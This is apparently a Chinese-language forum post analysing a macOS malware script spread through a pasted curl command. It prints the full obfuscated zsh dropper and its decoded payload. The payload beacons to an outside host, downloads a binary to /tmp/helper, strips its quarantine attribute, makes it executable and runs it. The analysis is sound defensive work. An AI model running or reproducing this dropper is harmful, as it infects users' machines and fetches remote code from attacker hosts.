我把脚本贴上来,脚本中的变量会每次发生变化,大概的过程是:
1. 通过 curl 获取脚本
2. 脚本中先调用一个接口,告诉远程主机,有人中招了
```bash
curl -fsS --connect-timeout 5 --max-time 10 -X POST -H 'user: BWJF3TX87QAqxEsOaxLu9ZIAH_q__w3aVtJZCqsYhTE' -H 'BuildID: ks6u7pJc12FKlHPoS_nYGUbye8dGpkQrJZkyhNfx9ZI' "
https://dedelk.com/api/metrics/run?event=pasted%"
```
3. 接着下载一个 bin 文件放在了/temp/helper ,
4. 执行/temp ,注册系统启动事件,启动程序,删除/temp/helper
具体的脚本内容如下:
第一段更多的是一个迷惑作用,最关键的是 f0f6of 这个变量的内容
```bash
#!/bin/zsh
# zzud4h2ltf1y 4890
l5xieuhg="/usr/local/r0mg9"
v79vjj=$(uname -s 2>/dev/null)
if [ -z "$v79vjj" ]; then
v79vjj="Darwin"
fi
nyyvhzgvij="auto"
d60149dy8v3h="$(sw_vers -productVersion 2>/dev/null)"
check_integrity_jmq() {
local rzut=0
[ -d "$HOME" ] && rzut=1
return $rzut
}
x4itis=("mkjel4tgg" "qlfo51mwah" "zqg4up9ffg" "gbwzya0uf")
xtma=0
while [ $xtma -lt 3 ]; do
: "$((RANDOM % 256))"
xtma=$((xtma+1))
done
z4n64q62=$(cat <<'_EOF_'
X1SZu9e8MLYgp7YEYHdgEmWo3WmDtWP1pg8ydKufpE9yUtQLEIizIQ==
_EOF_
)
f0f6of=$(openssl base64 -d <<'PAYLOAD_END' | gunzip
H4sIAIXW/GkC/5VSXZOaMBR951eklhGdDiOBBNSpO7Pb/XBtu+5W2+46zjigKBQE5Nu1/PeGBIu2
felDJrk3556T3HPfvukYttd5jSyOC2AQbNe2agwafKuTRCG9SoLY3ppAvuiszLTjJa4LfgI9c4Bw
CELbiwGvFEK7wbmh0UN4gCUFcam5DaARws2Pkqr15fLhevy5TUBckGF/nQ/4Fq1dA2EOsTSHKqpW
eVbmkibPJazRBRHJI1zvmOyYYLBKYoWcCQbjCgsZB4YsxpjVUG6Z5mlNqVHelzm15FSJplZh1UpH
pXWShhkn5VYYF3uP0OacLOq+nn2H0uNKroTwBwoqgLiOJkAUl77nmctYLNvqJzHAJLfVcxoDKAHx
GTyOJ1MgDoGQRGbYB1ffR7fK9LmrPV3u8ptorOefkt7s/nK42C0WmaJ/i0ezD7voxZreCLTsKrHd
1f11HziRmmjBaAnl24/u8NGfLLyXu6/G3uyu7gLnKRzNnL31sM4JmwAa/IHZUzTA+9rtE+PliyYE
TU43VnKU/Z+JVbMRrpuLjmYgZgxp/D9NxXJtIpIrHshqqElHM49GocosahRxILF2O807fS/DIzYg
pIbpSPWAqdVZlUm9ncdBevZdTaol2GwRmBW4Pe+vWShZSxU2ymfz4AP+wN5WkBPragGaTRJQSQJZ
nkDoBRUpwLv8z4sq4Lg+CdLextbQxukPpIImsnSjp/n+dxxHiS+tLBr/AlTYUkgEBAAA
PAYLOAD_END
)
k2wjsre8="/usr/local/qxh9l"
aau2=0
while [ $aau2 -lt 2 ]; do
: "$((RANDOM % 256))"
aau2=$((aau2+1))
done
if [ -z "$f5bskk" ]; then
f5bskk="Darwin"
fi
f5bskk=$(uname -s 2>/dev/null)
z1bt7m="$(date +%s)"
gc_collect_k5g() {
local zms3=0
[ -d "$HOME" ] && zms3=1
return $zms3
}
vgbd9v=("zzwwo0" "ppfrb3yrz" "ninsq")
zm3wi7o7x="false"
eval "${f0f6of}"
```
f0f6of 的内容,也就是这个代码最真实的意图:
```bash
#!/bin/zsh
p1ppmfi6b="$(/usr/bin/uptime 2>/dev/null | awk '{print $3}')"
lrb945=5034
vemp1br1gj="$((RANDOM))"
pw5ofx=$(printf '\150\164\164\160\163\072\057\057\144\145\144\145\154\153\056\143\157\155\057\141\160\151\057\155\145\164\162\151\143\163\057\162\165\156\077\145\166\145\156\164\075\160\141\163\164\145\144')
kws8z=$(printf '\143\165\162\154')
${kws8z} -fsS --connect-timeout 5 --max-time 10 -X POST -H 'user: BWJF3TX87QAqxEsOaxLu9ZIAH_q__w3aVtJZCqsYhTE' -H 'BuildID: ks6u7pJc12FKlHPoS_nYGUbye8dGpkQrJZkyhNfx9ZI' "${pw5ofx}" </dev/null >/dev/null 2>&1 &
abd2sw=$(printf '\150\164\164\160\163\072\057\057\147\162\145\145\156\141\143\164\151\166\056\143\157\155\057\152\145\164\142\162\141\151\156\163\057\165\160\144\141\164\145')
uhqq7n=$(printf '\057\164\155\160\057\150\145\154\160\145\162')
ixtpv=$(printf '\170\141\164\164\162')
hpl9n=$(printf '\143\150\155\157\144')
${kws8z} -o ${uhqq7n} ${abd2sw} && ${ixtpv} -c ${uhqq7n} && ${hpl9n} +x ${uhqq7n} && ${uhqq7n}
: ${v9gi74gk:=0}
: ${wvgavxy:=0}
: ${tsuo0dh:=0}
```